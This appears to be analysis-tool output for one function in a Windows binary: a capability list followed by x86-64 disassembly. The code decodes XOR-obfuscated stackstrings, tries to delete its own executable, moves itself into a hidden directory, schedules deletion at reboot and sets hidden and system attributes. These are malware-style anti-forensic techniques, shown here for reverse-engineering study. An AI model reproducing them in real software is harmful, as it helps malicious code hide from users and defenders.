Function at 0x14004f0e0
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete file
Encode data using xor
Move file
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.1400abb10
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x104
call fcn.14007c7e0
xor edx, edx
mov r8d, 0x104
mov rcx, rax
mov rbx, rax
call fcn.1400abb10
mov edx, 0x80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14004f3a0
movsx r8d, byte [rsp + 0x50]
lea rcx, [rsp + 0x20]
movdqa xmm2, xmmword [0x1400c11f0]
movdqa xmm3, xmmword [0x1400c1240]
movaps xmmword [rsp + 0x160], xmm6
movdqa xmm6, xmmword [0x1400c1360]
movdqa xmmword [rsp + 0x30], xmm6
mov edx, dword [rsp + 0x30]
mov dword [rsp + 0x20], 0x4b2c7631
mov dword [rsp + 0x24], 0x42595c4a
mov dword [rsp + 0x28], 0x4d5b515f
mov word [rsp + 0x2c], 0x2120
nop dword [rax]
movd xmm1, eax
lea rcx, [rcx + 4]
pshufd xmm1, xmm1, 0
add eax, 4
movd xmm0, edx
paddd xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
cmp eax, 0xc
jb 0x14004f1b0
cmp eax, 0xd
jae 0x14004f210
mov ecx, eax
lea rdx, [rsp + 0x20]
add rdx, rcx
nop dword [rax + rax]
lea ecx, [rax + 0x14]
inc eax
xor byte [rdx], cl
lea rdx, [rdx + 1]
cmp eax, 0xd
jb 0x14004f200
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x2d], 0
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
movdqa xmm2, xmmword [0x1400c1300]
lea r9, [rsp + 0x40]
movsx r8d, byte [rsp + 0x50]
mov r10, rax
mov eax, dword [0x1400c1100]
movdqu xmmword [rsp + 0x30], xmm2
mov dword [rsp + 0x40], 0x27564850
movd ecx, xmm6
movaps xmm6, xmmword [rsp + 0x160]
movd xmm1, eax
movd eax, xmm2
mov byte [rsp + 0x44], 0x28
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, eax
mov eax, dword [0x1400c1110]
xorps xmm1, xmm0
movd xmm0, ecx
movd dword [rsp + 0x30], xmm1
movd xmm1, dword [rsp + 0x34]
movd xmm2, eax
mov eax, dword [str._b_t_n_v]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd xmm0, ecx
movd xmm1, dword [rsp + 0x38]
movd dword [rsp + 0x34], xmm2
movd xmm2, eax
mov eax, dword [0x1400c1130]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd xmm0, ecx
movd xmm1, dword [rsp + 0x3c]
mov ecx, 0x10
movd dword [rsp + 0x38], xmm2
movd xmm2, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x3c], xmm2
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x14]
inc ecx
xor byte [r9], al
lea r9, [r9 + 1]
cmp ecx, 0x14
jb 0x14004f310
mov r9, r10
mov byte [rsp + 0x44], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0x80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r8d, 1
lea rcx, [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x14004f3a0
xor edx, edx
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov edx, 6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rbx
call fcn.14007c72c
mov al, 1
mov rbx, qword [rsp + 0x180]
add rsp, 0x170
pop rbp
ret
mov rcx, rbx
call fcn.14007c72c
mov rbx, qword [rsp + 0x180]
xor al, al
add rsp, 0x170
pop rbp
ret